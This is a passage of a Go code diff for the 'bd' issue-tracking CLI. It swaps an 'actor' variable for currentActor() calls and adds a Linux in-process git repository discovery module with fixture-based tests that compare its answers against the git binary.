a/cmd/bd/unclaim.go b/cmd/bd/unclaim.go index f900e1750..3dd59a8fe 100644 --- a/cmd/bd/unclaim.go +++ b/cmd/bd/unclaim.go @@ -90,9 +90,9 @@ Examples: var unclaimErr error if conditional { - unclaimErr = issueStore.UnclaimIssueIfAssignee(ctx, fullID, actor, ifAssignee) + unclaimErr = issueStore.UnclaimIssueIfAssignee(ctx, fullID, currentActor(), ifAssignee) } else { - unclaimErr = issueStore.UnclaimIssue(ctx, fullID, actor, force) + unclaimErr = issueStore.UnclaimIssue(ctx, fullID, currentActor(), force) } if unclaimErr != nil { fmt.Fprintf(os.Stderr, "Error unclaiming %s: %v\n", fullID, unclaimErr) @@ -102,7 +102,7 @@ Examples: } if reason != "" { - if _, err := issueStore.AddIssueComment(ctx, fullID, actor, reason); err != nil { + if _, err := issueStore.AddIssueComment(ctx, fullID, currentActor(), reason); err != nil { fmt.Fprintf(os.Stderr, "Warning: failed to add reason comment: %v\n", err) } } diff --git a/cmd/bd/unclaim_proxied_server.go b/cmd/bd/unclaim_proxied_server.go index 85b56acc2..9269beb88 100644 --- a/cmd/bd/unclaim_proxied_server.go +++ b/cmd/bd/unclaim_proxied_server.go @@ -62,9 +62,9 @@ func runUnclaimProxiedServer(ctx context.Context, args []string, reason string, var uerr error if expectedAssignee != "" { - uerr = uw.IssueUseCase().UnclaimIfAssignee(ctx, fullID, actor, expectedAssignee) + uerr = uw.IssueUseCase().UnclaimIfAssignee(ctx, fullID, currentActor(), expectedAssignee) } else { - uerr = uw.IssueUseCase().Unclaim(ctx, fullID, actor, force) + uerr = uw.IssueUseCase().Unclaim(ctx, fullID, currentActor(), force) } if uerr != nil { r.errs = append(r.errs, fmt.Sprintf("Error unclaiming %s: %v", fullID, uerr)) @@ -72,7 +72,7 @@ func runUnclaimProxiedServer(ctx context.Context, args []string, reason string, } if reason != "" { - if _, cerr := uw.CommentUseCase().AddCommentToIssue(ctx, fullID, actor, reason); cerr != nil { + if _, cerr := uw.CommentUseCase().AddCommentToIssue(ctx, fullID, currentActor(), reason); cerr != nil { r.errs = append(r.errs, fmt.Sprintf("Warning: failed to add reason comment on %s: %v", fullID, cerr)) } } @@ -129,7 +129,7 @@ func runReclaimProxiedServer(ctx context.Context, olderThan time.Duration, filte } reclaimed, err := uow.RunTxResult(ctx, uowProvider, func(ctx context.Context, uw uow.UnitOfWork) ([]types.ReclaimedLease, string, error) { - out, rerr := uw.IssueUseCase().ReclaimExpiredLeases(ctx, olderThan, filter, actor) + out, rerr := uw.IssueUseCase().ReclaimExpiredLeases(ctx, olderThan, filter, currentActor()) if rerr != nil { return nil, "", rerr } diff --git a/cmd/bd/undefer.go b/cmd/bd/undefer.go index 08e251c6a..b89907be8 100644 --- a/cmd/bd/undefer.go +++ b/cmd/bd/undefer.go @@ -89,7 +89,7 @@ Examples: updates["status"] = string(types.StatusOpen) } - if err := store.UpdateIssue(ctx, fullID, updates, actor); err != nil { + if err := store.UpdateIssue(ctx, fullID, updates, currentActor()); err != nil { fmt.Fprintf(os.Stderr, "Error undeferring %s: %v\n", fullID, err) continue } diff --git a/cmd/bd/update.go b/cmd/bd/update.go index 1510b8c78..09e8edb64 100644 --- a/cmd/bd/update.go +++ b/cmd/bd/update.go @@ -511,7 +511,7 @@ pointless).`, // the actor's own fresh claim. A policy refusal, so it exits 1, // not 13. if newAssignee, ok := updates["assignee"].(string); ok && ifAssignee == nil && !claimFlag && !ifRevisionAlreadyStale(issue, ifRevision) { - if err := validateIssueReassignable(id, issue, actor, newAssignee, + if err := validateIssueReassignable(id, issue, currentActor(), newAssignee, storeClaimPoolAliases(ctx, issueStore), forceFlag); err != nil { fmt.Fprintf(os.Stderr, "%s\n", err) recordFailure(id, err.Error()) @@ -552,7 +552,7 @@ pointless).`, // through: `--force -s closed` is now a legitimate way to ask for // the close-policy half alone. updateResult, updateErr := runCommandUpdateMutation(opsCtx, ops, commandUpdateMutation{ - actor: actor, + actor: currentActor(), issueID: result.ResolvedID, patch: patch, claim: claimFlag, @@ -602,13 +602,13 @@ pointless).`, } // Audit log key field changes (survives Dolt GC flatten) if patch.Status.Set { - audit.LogFieldChange(result.ResolvedID, "status", string(issue.Status), string(patch.Status.Value), actor, "") + audit.LogFieldChange(result.ResolvedID, "status", string(issue.Status), string(patch.Status.Value), currentActor(), "") } if patch.Assignee.Set { - audit.LogFieldChange(result.ResolvedID, "assignee", issue.Assignee, patch.Assignee.Value, actor, "") + audit.LogFieldChange(result.ResolvedID, "assignee", issue.Assignee, patch.Assignee.Value, currentActor(), "") } if patch.Priority.Set { - audit.LogFieldChange(result.ResolvedID, "priority", fmt.Sprintf("%d", issue.Priority), fmt.Sprintf("%d", patch.Priority.Value), actor, "") + audit.LogFieldChange(result.ResolvedID, "priority", fmt.Sprintf("%d", issue.Priority), fmt.Sprintf("%d", patch.Priority.Value), currentActor(), "") } // The operation's own post-state snapshot replaces the re-read. @@ -642,7 +642,7 @@ pointless).`, if s == nil { continue } - if err := commitPendingIfEmbedded(ctx, s, actor, doltAutoCommitParams{ + if err := commitPendingIfEmbedded(ctx, s, currentActor(), doltAutoCommitParams{ Command: "update", IssueIDs: ids, }); err != nil { diff --git a/cmd/bd/update_proxied_server.go b/cmd/bd/update_proxied_server.go index fee3e9225..5d74583b2 100644 --- a/cmd/bd/update_proxied_server.go +++ b/cmd/bd/update_proxied_server.go @@ -127,7 +127,7 @@ func applyUpdateProxiedOne(ctx context.Context, id string, in *updateInput) (*ty expectedStatus = &expected } result, err := runCommandUpdateMutation(ctx, ops, commandUpdateMutation{ - actor: actor, + actor: currentActor(), issueID: id, patch: patch, claim: in.claim, @@ -226,7 +226,7 @@ func proxiedUpdateTarget(ctx context.Context, id string, in *updateInput) (*type // mc-zndi7.74: also skipped when this pre-read is already stale against an // active --if-revision guard — see ifRevisionAlreadyStale's doc. if newAssignee, ok := in.fields["assignee"].(string); ok && in.ifAssignee == nil && !in.claim && !ifRevisionAlreadyStale(current, in.ifRevision) { - if err := validateIssueReassignable(id, current, actor, newAssignee, + if err := validateIssueReassignable(id, current, currentActor(), newAssignee, proxiedClaimPoolAliases(ctx), in.force); err != nil { fmt.Fprintf(os.Stderr, "%s\n", err) return nil, &updateIDFailure{ID: id, Error: err.Error()} diff --git a/cmd/bd/wisp.go b/cmd/bd/wisp.go index 329b1734f..a1b7ac27e 100644 --- a/cmd/bd/wisp.go +++ b/cmd/bd/wisp.go @@ -280,7 +280,7 @@ func runWispCreateCore(cmd *cobra.Command, args []string) error { result, err := spawnMoleculeWithOptions(ctx, store, subgraph, CloneOptions{ Vars: vars, - Actor: actor, + Actor: currentActor(), Ephemeral: true, Prefix: types.IDPrefixWisp, RootOnly: rootOnly, diff --git a/cmd/bd/wisp_proxied_server.go b/cmd/bd/wisp_proxied_server.go index edc727ea8..fd43df23b 100644 --- a/cmd/bd/wisp_proxied_server.go +++ b/cmd/bd/wisp_proxied_server.go @@ -92,7 +92,7 @@ func runWispCreateProxiedServer(ctx context.Context, in wispCreateInput) error { w := newUOWMolWriter(uw) spawnResult, err := cloneSubgraphInto(ctx, w, subgraph, CloneOptions{ Vars: vars, - Actor: actor, + Actor: currentActor(), Ephemeral: true, Prefix: types.IDPrefixWisp, RootOnly: in.rootOnly, @@ -189,7 +189,7 @@ func runWispGCProxiedServer(ctx context.Context, dryRun bool, ageThreshold time. IDs: ids, Cascade: false, UpdateTextReferences: true, - }, actor) + }, currentActor()) if err != nil { return domain.DeleteIssuesResult{}, "", err } @@ -320,7 +320,7 @@ func runWispPurgeClosedProxiedServer(ctx context.Context, dryRun, force bool, ex IDs: ids, Cascade: false, UpdateTextReferences: true, - }, actor) + }, currentActor()) if err != nil { return domain.DeleteIssuesResult{}, "", err } diff --git a/internal/beads/context.go b/internal/beads/context.go index 63c63394c..7db3b0ee8 100644 --- a/internal/beads/context.go +++ b/internal/beads/context.go @@ -314,13 +314,23 @@ func isExternalBeadsDir(beadsDir string) (bool, error) { // getGitCommonDirForPath returns the shared git directory for a path. // For worktrees, this returns the shared git directory (common to all worktrees). +// +// Every startup that builds a RepoContext asks this about the beads +// directory, so the answer comes from git.CommonDirInProcess when it can, +// with `git -C path rev-parse --git-common-dir` as the fallback. func getGitCommonDirForPath(path string) (string, error) { - cmd := exec.Command("git", "-C", path, "rev-parse", "--git-common-dir") - output, err := cmd.Output() - if err != nil { - return "", fmt.Errorf("failed to get git common dir for %s: %w", path, err) + result, isRepo, ok := git.CommonDirInProcess(path) + switch { + case ok && !isRepo: + return "", fmt.Errorf("failed to get git common dir for %s: not a git repository", path) + case !ok: + cmd := exec.Command("git", "-C", path, "rev-parse", "--git-common-dir") + output, err := cmd.Output() + if err != nil { + return "", fmt.Errorf("failed to get git common dir for %s: %w", path, err) + } + result = strings.TrimSpace(string(output)) } - result := strings.TrimSpace(string(output)) if !filepath.IsAbs(result) { absPath, err := filepath.Abs(path) diff --git a/internal/git/BUILD.bazel b/internal/git/BUILD.bazel index 4d259cd16..e36e0ec55 100644 --- a/internal/git/BUILD.bazel +++ b/internal/git/BUILD.bazel @@ -2,7 +2,12 @@ load("@rules_go//go:def.bzl", "go_library", "go_test") go_library( name = "git", - srcs = ["gitdir.go"], + srcs = [ + "discover_linux.go", + "discover_other.go", + "gitconfig_linux.go", + "gitdir.go", + ], importpath = "github.com/steveyegge/beads/internal/git", visibility = ["//:__subpackages__"], ) @@ -10,6 +15,7 @@ go_library( go_test( name = "git_test", srcs = [ + "discover_linux_test.go", "gitdir_test.go", "jujutsu_test.go", ], diff --git a/internal/git/discover_linux.go b/internal/git/discover_linux.go new file mode 100644 index 000000000..4f88fd903 --- /dev/null +++ b/internal/git/discover_linux.go @@ -0,0 +1,559 @@ +//go:build linux + +package git + +import ( + "bytes" + "errors" + "os" + "os/exec" + "path/filepath" + "regexp" + "strconv" + "strings" + "syscall" +) + +// discoveryEnvOverrides are the environment variables that change how Git +// finds or validates a repository. When any is present, discovery is left to +// git itself. The list is deliberately broader than strictly necessary: a +// fallback costs one subprocess, a wrong answer costs a wrong workspace. +var discoveryEnvOverrides = []string{ + "GIT_DIR", + "GIT_WORK_TREE", + "GIT_COMMON_DIR", + "GIT_CEILING_DIRECTORIES", + "GIT_DISCOVERY_ACROSS_FILESYSTEM", + "GIT_OBJECT_DIRECTORY", + "GIT_CONFIG_PARAMETERS", + "GIT_CONFIG_COUNT", + "GIT_TEST_ASSUME_DIFFERENT_OWNER", +} + +// discoverGitInProcess answers `git rev-parse --git-dir --git-common-dir +// --show-toplevel` for the process working directory without running git. ok +// is false whenever the layout is outside what it reproduces exactly; the +// caller then runs git. +func discoverGitInProcess() (revParseResult, bool) { + if discoveryEnvOverridden() { + return revParseResult{}, false + } + wd, err := processCwd() + if err != nil { + return revParseResult{}, false + } + return discoverGitFrom(wd) +} + +// processCwd is getcwd(2), as Git uses. os.Getwd prefers $PWD whenever it +// names the same inode as ".", which under bind-mount aliases (same device +// and inode, different ancestors) would walk a different path than git. +func processCwd() (string, error) { + return syscall.Getwd() +} + +// errNotGitRepositoryMountBoundary is the in-process counterpart of Git's +// "not a git repository (or any parent up to mount point ...)". +var errNotGitRepositoryMountBoundary = errors.New("no .git found in the working directory or any parent up to the filesystem boundary") + +// discoverGitFrom mirrors setup_git_directory_gently's discovery walk (Git +// 2.x) from cwd. Git walks the physical directory (getcwd), checks each +// directory's .git as a gitfile or a git directory, then the directory itself +// as a bare repository, and stops at the first filesystem boundary. +func discoverGitFrom(cwd string) (revParseResult, bool) { + cwd, err := filepath.EvalSymlinks(cwd) + if err != nil || !filepath.IsAbs(cwd) { + return revParseResult{}, false + } + cwd = filepath.Clean(cwd) + cwdStat := statOf(cwd) + if cwdStat == nil { + return revParseResult{}, false + } + + for dir := cwd; ; { + dotGit := filepath.Join(dir, ".git") + info, err := os.Lstat(dotGit) + switch { + case err == nil && info.Mode().IsDir(): + return discoveredGitDir(cwd, dir, dotGit) + case err == nil && info.Mode().IsRegular(): + return discoveredGitFile(dir, dotGit) + case err == nil: + // Symlinked .git, sockets, ...: let git decide. + return revParseResult{}, false + case !os.IsNotExist(err): + return revParseResult{}, false + } + // The directory itself may be a git directory (a bare repository, or + // somewhere inside a .git directory); git answers those differently. + if looksLikeGitDir(dir) { + return revParseResult{}, false + } + + parent := filepath.Dir(dir) + if parent == dir { + return revParseResult{notRepo: true}, true + } + parentStat := statOf(parent) + if parentStat == nil { + return revParseResult{}, false + } + if parentStat.Dev != cwdStat.Dev { + // Git stops at a mount point unless + // GIT_DISCOVERY_ACROSS_FILESYSTEM is set (handled by the caller). + return revParseResult{notRepo: true, notRepoErr: errNotGitRepositoryMountBoundary}, true + } + dir = parent + } +} + +// discoveredGitDir handles /.git being a directory. +func discoveredGitDir(cwd, top, gitDir string) (revParseResult, bool) { + // A .git directory carrying a commondir file is unusual; leave it to git. + if exists(filepath.Join(gitDir, "commondir")) { + return revParseResult{}, false + } + if !isGitDirectory(gitDir, gitDir) { + // Git would keep walking upward past an invalid .git directory. + return revParseResult{}, false + } + if !ownedByCurrentUser(top) || !ownedByCurrentUser(gitDir) { + return revParseResult{}, false + } + if worktree, ok := repoConfigAllowsDiscovery(gitDir); !ok || worktree != "" { + return revParseResult{}, false + } + if cwd == top { + return revParseResult{gitDir: ".git", commonDir: ".git", topLevel: top}, true + } + // From a subdirectory Git prints the git directory absolute and the common + // directory relative to the working directory. + rel, err := filepath.Rel(top, cwd) + if err != nil || rel == "." || strings.HasPrefix(rel, "..") { + return revParseResult{}, false + } + depth := len(strings.Split(rel, string(filepath.Separator))) + return revParseResult{ + gitDir: gitDir, + commonDir: strings.Repeat("../", depth) + ".git", + topLevel: top, + }, true +} + +// discoveredGitFile handles /.git being a gitfile ("gitdir: "), as +// in linked worktrees and submodules. +func discoveredGitFile(top, gitFile string) (revParseResult, bool) { + data, err := os.ReadFile(gitFile) // #nosec G304 -- the .git file Git itself would read during discovery + if err != nil { + return revParseResult{}, false + } + content := strings.TrimRight(string(data), "\r\n") + target, found := strings.CutPrefix(content, "gitdir: ") + if !found || target == "" || strings.ContainsAny(target, "\n\r\x00") { + return revParseResult{}, false + } + if !filepath.IsAbs(target) { + // Not filepath.Join: its lexical Clean would fold "link/.." before + // symlinks resolve, where Git's realpath resolves them physically + // (as EvalSymlinks does for ".." after a resolved component). + target = top + string(filepath.Separator) + target + } + gitDir, err := filepath.EvalSymlinks(target) + if err != nil { + return revParseResult{}, false + } + commonDir := gitDir + if raw, err := os.ReadFile(filepath.Join(gitDir, "commondir")); err == nil { + common := strings.TrimRight(string(raw), "\r\n") + if common == "" || strings.ContainsAny(common, "\n\r\x00") { + return revParseResult{}, false + } + if !filepath.IsAbs(common) { + common = gitDir + string(filepath.Separator) + common // physical "..", as above + } + if commonDir, err = filepath.EvalSymlinks(common); err != nil { + return revParseResult{}, false + } + } else if !os.IsNotExist(err) { + return revParseResult{}, false + } + if !isGitDirectory(gitDir, commonDir) { + return revParseResult{}, false + } + if !ownedByCurrentUser(gitFile) || !ownedByCurrentUser(top) || !ownedByCurrentUser(gitDir) { + return revParseResult{}, false + } + worktree, ok := repoConfigAllowsDiscovery(commonDir) + if !ok { + return revParseResult{}, false + } + if worktree != "" && !submoduleWorktreeIs(gitDir, commonDir, worktree, top) { + return revParseResult{}, false + } + // Git prints both absolute from anywhere in the work tree. + return revParseResult{gitDir: gitDir, commonDir: commonDir, topLevel: top}, true +} + +// isGitDirectory mirrors Git's is_git_directory: a valid HEAD in the git +// directory, objects/ and refs/ in the common directory. +func isGitDirectory(gitDir, commonDir string) bool { + if !validHeadRef(filepath.Join(gitDir, "HEAD")) { + return false + } + return isDir(filepath.Join(commonDir, "objects")) && isDir(filepath.Join(commonDir, "refs")) +} + +// looksLikeGitDir is a cheap superset test for "git might treat dir as a git +// directory"; a hit only means discovery is handed to git. +func looksLikeGitDir(dir string) bool { + return exists(filepath.Join(dir, "HEAD")) && + (exists(filepath.Join(dir, "objects")) || exists(filepath.Join(dir, "commondir"))) +} + +// validHeadRef accepts the HEAD forms Git's validate_headref does for the +// files it writes itself: "ref: refs/..." or a full object id. Symlinked HEAD +// (an ancient layout) is left to git. +func validHeadRef(path string) bool { + info, err := os.Lstat(path) + if err != nil || !info.Mode().IsRegular() { + return false + } + data, err := os.ReadFile(path) // #nosec G304 -- HEAD of the discovered git directory + if err != nil { + return false + } + if ref, ok := bytes.CutPrefix(data, []byte("ref:")); ok { + return bytes.HasPrefix(bytes.TrimLeft(ref, " \t"), []byte("refs/")) + } + line := strings.TrimRight(string(data), "\r\n") + if len(line) != 40 && len(line) != 64 { + return false + } + for _, c := range line { + if !strings.ContainsRune("0123456789abcdef", c) { + return false + } + } + return true +} + +// submoduleWorktreeIs reports whether a gitfile repository's core.worktree +// names exactly the directory holding the gitfile. Git writes that for every +// submodule (core.worktree = ../../../sub in .git/modules/sub/config), and Git +// then resolves the work tree by chdir(gitdir) + chdir(core.worktree), which +// lands on top again. Only that plain shape is accepted: a separate git +// directory (no shared common directory) and a value of leading "../" +// segments followed by plain names, which resolves lexically from the +// already-physical git directory exactly as the chdirs do. +func submoduleWorktreeIs(gitDir, commonDir, worktree, top string) bool { + if gitDir != commonDir || filepath.IsAbs(worktree) { + return false + } + rest := filepath.ToSlash(filepath.Clean(worktree)) + if rest != worktree && rest+"/" != worktree { + return false + } + for strings.HasPrefix(rest, "../") { + rest = rest[len("../"):] + } + for _, part := range strings.Split(rest, "/") { + if part == "" || part == "." || part == ".." { + return false + } + } + resolved, err := filepath.EvalSymlinks(filepath.Join(gitDir, worktree)) + return err == nil && resolved == top +} + +// repoConfigAllowsDiscovery reports whether the repository config leaves +// Git's answer to the plain discovery result, and returns core.worktree when +// it is set (the caller decides whether it is the submodule shape). Git +// consults only the repository's own config file here +// (read_repository_format), so global and system config cannot move the work +// tree. Anything else that could — core.bare, extensions (worktreeConfig, +// unknown ones Git rejects), a format version Git refuses, include +// directives, a repeated core.worktree, or any line scanGitConfig does not +// fully understand (where Git might honor or reject it) — sends discovery to +// git. +func repoConfigAllowsDiscovery(commonDir string) (worktree string, ok bool) { + ok = scanGitConfig(filepath.Join(commonDir, "config"), func(e gitConfigEntry) bool { + if strings.HasPrefix(e.section, "include") || e.section == "extensions" { + return false + } + if e.section != "core" || e.subsection != nil { + return true + } + switch e.key { + case "worktree": + if worktree != "" || !e.hasValue || e.value == "" || strings.ContainsAny(e.rawValue, "\"#;") { + return false + } + worktree = e.value + case "bare": + if !e.hasValue { + return false // a bare "bare" key means true + } + switch strings.ToLower(e.value) { + case "false", "no", "off", "0": + default: + return false + } + case "repositoryformatversion": + if v, err := strconv.Atoi(e.value); err != nil || v < 0 || v > 1 { + return false + } + } + return true + }) + if !ok { + return "", false + } + return worktree, true +} + +// ownedByCurrentUser mirrors Git's is_path_owned_by_current_uid (lstat, owner +// equals the effective uid). Git's sudo allowance (root with SUDO_UID) is left +// to git. A path owned by someone else engages safe.directory, which only git +// evaluates. +func ownedByCurrentUser(path string) bool { + euid := os.Geteuid() + if euid == 0 { + if _, set := os.LookupEnv("SUDO_UID"); set { + return false + } + } + info, err := os.Lstat(path) + if err != nil { + return false + } + st, ok := info.Sys().(*syscall.Stat_t) + return ok && int(st.Uid) == euid +} + +// statOf returns path's stat data (following symlinks, as Git's +// get_device_or_die does), or nil. +func statOf(path string) *syscall.Stat_t { + info, err := os.Stat(path) + if err != nil { + return nil + } + st, _ := info.Sys().(*syscall.Stat_t) + return st +} + +func exists(path string) bool { + _, err := os.Lstat(path) + return err == nil +} + +func isDir(path string) bool { + info, err := os.Stat(path) + return err == nil && info.IsDir() +} + +// CommonDirInProcess answers `git -C dir rev-parse --git-common-dir` without +// running git, in git's own spelling (relative to dir's physical location +// when git prints it relative). isRepo is false where git would fail with +// "not a git repository". ok is false whenever discoverGitInProcess would +// decline; the caller then runs git. +func CommonDirInProcess(dir string) (commonDir string, isRepo, ok bool) { + if discoveryEnvOverridden() { + return "", false, false + } + abs, err := filepath.Abs(dir) + if err != nil { + return "", false, false + } + raw, ok := discoverGitFrom(abs) + if !ok { + return "", false, false + } + if raw.notRepo { + return "", false, true + } + return raw.commonDir, true, true +} + +// HasRemoteInProcess answers "does `git remote` in dir print anything" (dir +// "" is the process working directory) without running git, or ok=false. +// +// `git remote` lists every remote that any config scope defines a +// remote..* key for, and fails outside a repository. The answer is +// given only when every file git would read — system, global (XDG and +// ~/.gitconfig, or GIT_CONFIG_GLOBAL), and the repository's own config — is +// absent or within scanGitConfig's grammar and free of include directives, +// the repository is one discoverGitFrom answers for, and no environment +// variable adds config or redirects discovery. The system file's location is +// compiled into git; the candidates are /etc/gitconfig and /etc/gitconfig +// for the git found on PATH (as invoked and with symlinks resolved), and a +// remote seen only in a system candidate declines rather than guess which one +// git reads. +func HasRemoteInProcess(dir string) (has, ok bool) { + if discoveryEnvOverridden() { + return false, false + } + if _, set := os.LookupEnv("GIT_CONFIG"); set { + return false, false + } + if dir == "" { + wd, err := processCwd() + if err != nil { + return false, false + } + dir = wd + } + abs, err := filepath.Abs(dir) + if err != nil { + return false, false + } + physical, err := filepath.EvalSymlinks(abs) + if err != nil { + return false, false + } + raw, ok := discoverGitFrom(physical) + if !ok { + return false, false + } + if raw.notRepo { + return false, true // `git remote` exits 128 outside a repository + } + commonDir := raw.commonDir + if !filepath.IsAbs(commonDir) { + commonDir = filepath.Join(physical, commonDir) + } + // Legacy remote definitions (.git/remotes/*, .git/branches/*) are not + // listed by `git remote`, but are not modeled either: decline if present. + for _, legacy := range []string{"remotes", "branches"} { + if entries, err := os.ReadDir(filepath.Join(commonDir, legacy)); err == nil && len(entries) > 0 { + return false, false + } else if err != nil && !os.IsNotExist(err) { + return false, false + } + } + + system, ok := systemConfigCandidates() + if !ok { + return false, false + } + global, ok := globalConfigFiles() + if !ok { + return false, false + } + inSystem, inOther := false, false + for _, scope := range []struct { + files []string + system bool + }{{system, true}, {global, false}, {[]string{filepath.Join(commonDir, "config")}, false}} { + for _, file := range scope.files { + found, ok := configDefinesRemote(file) + if !ok { + return false, false + } + if found && scope.system { + inSystem = true + } else if found { + inOther = true + } + } + } + switch { + case inOther: + return true, true + case inSystem: + return false, false + default: + return false, true + } +} + +// remoteName is the remote-name shape answered in-process; git ignores names +// starting with "/" and accepts many others this does not model. +var remoteName = regexp.MustCompile(`^[A-Za-z0-9._-]+$`) + +// configDefinesRemote reports whether file defines a remote..* key. +func configDefinesRemote(file string) (found, ok bool) { + ok = scanGitConfig(file, func(e gitConfigEntry) bool { + if strings.HasPrefix(e.section, "include") { + return false + } + if e.section != "remote" || e.subsection == nil { + return true // remote.pushDefault and friends define no remote + } + if !remoteName.MatchString(*e.subsection) { + return false + } + found = true + return true + }) + return found, ok +} + +// globalConfigFiles mirrors git_global_config. +func globalConfigFiles() ([]string, bool) { + if global, set := os.LookupEnv("GIT_CONFIG_GLOBAL"); set { + if global == "" || !filepath.IsAbs(global) { + return nil, false + } + return []string{global}, true + } + home := os.Getenv("HOME") + if home == "" || !filepath.IsAbs(home) { + return nil, false + } + xdg := filepath.Join(home, ".config", "git", "config") + if x := os.Getenv("XDG_CONFIG_HOME"); x != "" { + if !filepath.IsAbs(x) { + return nil, false + } + xdg = filepath.Join(x, "git", "config") + } + return []string{xdg, filepath.Join(home, ".gitconfig")}, true +} + +// systemConfigCandidates mirrors git_system_config, with the compiled-in +// ETC_GITCONFIG approximated as described on HasRemoteInProcess. +func systemConfigCandidates() ([]string, bool) { + if v, set := os.LookupEnv("GIT_CONFIG_NOSYSTEM"); set { + switch strings.ToLower(v) { + case "1", "true", "yes", "on": + return nil, true + case "", "0", "false", "no", "off": + default: + return nil, false + } + } + if system, set := os.LookupEnv("GIT_CONFIG_SYSTEM"); set { + if system == "" || !filepath.IsAbs(system) { + return nil, false + } + return []string{system}, true + } + bin, err := exec.LookPath("git") + if err != nil || !filepath.IsAbs(bin) { + return nil, false + } + candidates := []string{"/etc/gitconfig"} + paths := []string{bin} + if resolved, err := filepath.EvalSymlinks(bin); err == nil { + paths = append(paths, resolved) + } + for _, p := range paths { + if filepath.Base(filepath.Dir(p)) != "bin" { + return nil, false + } + if prefix := filepath.Dir(filepath.Dir(p)); prefix != "/usr" { + candidates = append(candidates, filepath.Join(prefix, "etc", "gitconfig")) + } + } + return candidates, true +} + +func discoveryEnvOverridden() bool { + for _, name := range discoveryEnvOverrides { + if _, set := os.LookupEnv(name); set { + return true + } + } + return false +} diff --git a/internal/git/discover_linux_test.go b/internal/git/discover_linux_test.go new file mode 100644 index 000000000..04d111f25 --- /dev/null +++ b/internal/git/discover_linux_test.go @@ -0,0 +1,471 @@ +//go:build linux + +package git + +import ( + "os" + "os/exec" + "path/filepath" + "strings" + "testing" +) + +// discoveryFixtureEnv is the environment fixture git runs under: the process +// environment minus every discovery override, with no system or user config. +func discoveryFixtureEnv(t *testing.T) []string { + t.Helper() + var env []string + for _, kv := range os.Environ() { + name, _, _ := strings.Cut(kv, "=") + if strings.HasPrefix(name, "GIT_") || name == "HOME" { + continue + } + env = append(env, kv) + } + return append(env, "HOME="+t.TempDir(), "GIT_CONFIG_NOSYSTEM=1", + "GIT_AUTHOR_NAME=t", "GIT_AUTHOR_EMAIL=t@example.com", + "GIT_COMMITTER_NAME=t", "GIT_COMMITTER_EMAIL=t@example.com") +} + +func runFixtureGit(t *testing.T, env []string, dir string, args ...string) string { + t.Helper() + cmd := gitCommand(args...) + cmd.Dir, cmd.Env = dir, env + out, err := cmd.CombinedOutput() + if err != nil { + t.Fatalf("git %s in %s: %v\n%s", strings.Join(args, " "), dir, err, out) + } + return string(out) +} + +// gitRevParse is the reference answer discoverGitFrom must reproduce. +func gitRevParse(t *testing.T, env []string, dir string) revParseResult { + t.Helper() + cmd := exec.Command("git", "rev-parse", "--git-dir", "--git-common-dir", "--show-toplevel") + cmd.Dir, cmd.Env = dir, env + out, err := cmd.Output() + if err != nil { + return revParseResult{notRepo: true} + } + lines := strings.Split(strings.TrimSpace(string(out)), "\n") + if len(lines) != 3 { + t.Fatalf("git rev-parse in %s: unexpected output %q", dir, out) + } + return revParseResult{gitDir: lines[0], commonDir: lines[1], topLevel: lines[2]} +} + +type discoveryFixture struct { + root, main, worktree, relWorktree, symWorktree, submodule, nested string + env []string +} + +func newDiscoveryFixture(t *testing.T) discoveryFixture { + t.Helper() + root, err := filepath.EvalSymlinks(t.TempDir()) + if err != nil { + t.Fatal(err) + } + env := discoveryFixtureEnv(t) + f := discoveryFixture{ + root: root, + main: filepath.Join(root, "main"), + worktree: filepath.Join(root, "wt"), + relWorktree: filepath.Join(root, "wt-rel"), + symWorktree: filepath.Join(root, "wt-sym"), + env: env, + } + f.submodule = filepath.Join(f.main, "sub") + f.nested = filepath.Join(f.main, "a", "inner") + subSrc := filepath.Join(root, "subsrc") + for _, dir := range []string{f.main, subSrc, filepath.Join(f.main, "a", "b"), f.nested, filepath.Join(root, "norepo", "x")} { + if err := os.MkdirAll(dir, 0o750); err != nil { + t.Fatal(err) + } + } + for _, dir := range []string{f.main, subSrc} { + runFixtureGit(t, env, dir, "init", "-q") + runFixtureGit(t, env, dir, "commit", "-q", "--allow-empty", "-m", "base") + } + runFixtureGit(t, env, f.main, "worktree", "add", "-q", f.worktree) + runFixtureGit(t, env, f.main, "worktree", "add", "-q", f.relWorktree) + // A relative gitfile, as `git worktree add --relative-paths` (or a moved + // checkout) writes it. + if err := os.WriteFile(filepath.Join(f.relWorktree, ".git"), []byte("gitdir: ../main/.git/worktrees/wt-rel\n"), 0o600); err != nil { + t.Fatal(err) + } + // A gitfile naming its git directory through a symlink: Git prints the + // resolved path. + runFixtureGit(t, env, f.main, "worktree", "add", "-q", f.symWorktree) + if err := os.Symlink(filepath.Join(f.main, ".git"), filepath.Join(root, "gitlink")); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(f.symWorktree, ".git"), []byte("gitdir: "+filepath.Join(root, "gitlink", "worktrees", "wt-sym")+"\n"), 0o600); err != nil { + t.Fatal(err) + } + runFixtureGit(t, env, f.main, "-c", "protocol.file.allow=always", "submodule", "add", "-q", subSrc, "sub") + runFixtureGit(t, env, f.nested, "init", "-q") + for _, dir := range []string{filepath.Join(f.worktree, "w"), filepath.Join(f.submodule, "s"), filepath.Join(f.nested, "deep")} { + if err := os.MkdirAll(dir, 0o750); err != nil { + t.Fatal(err) + } + } + if err := os.Symlink(f.main, filepath.Join(root, "link")); err != nil { + t.Fatal(err) + } + return f +} + +// resolvedLikeStartup is what bd's startup derives for dir: the in-process +// answer when discovery gives one, else git's. +func resolvedLikeStartup(dir string, env []string) (gitContext, bool) { + if raw, ok := discoverGitFrom(dir); ok { + return gitContextFromRevParse(dir, raw), true + } + return loadGitContext(dir, env), false +} + +// assertSameAsGit checks the startup-derived context for dir against the git +// subprocess's: same failure, or the same paths. +func assertSameAsGit(t *testing.T, env []string, dir string) { + t.Helper() + got, _ := resolvedLikeStartup(dir, env) + want := loadGitContext(dir, env) + if (got.err != nil) != (want.err != nil) { + t.Fatalf("in %s: startup err %v, git err %v", dir, got.err, want.err) + } + if got.gitDirRaw != want.gitDirRaw || got.commonDir != want.commonDir || + got.repoRoot != want.repoRoot || got.isWorktree != want.isWorktree { + t.Fatalf("in %s: startup %+v, git %+v", dir, got, want) + } +} + +// repoWithRawConfig makes a repository and replaces its config file. +func repoWithRawConfig(t *testing.T, env []string, config string) string { + t.Helper() + dir := filepath.Join(t.TempDir(), "r") + runFixtureGit(t, env, t.TempDir(), "init", "-q", dir) + if err := os.WriteFile(filepath.Join(dir, ".git", "config"), []byte(config), 0o600); err != nil { + t.Fatal(err) + } + return dir +} + +const plainRepoConfig = "[core]\n\trepositoryformatversion = 0\n\tfilemode = true\n\tbare = 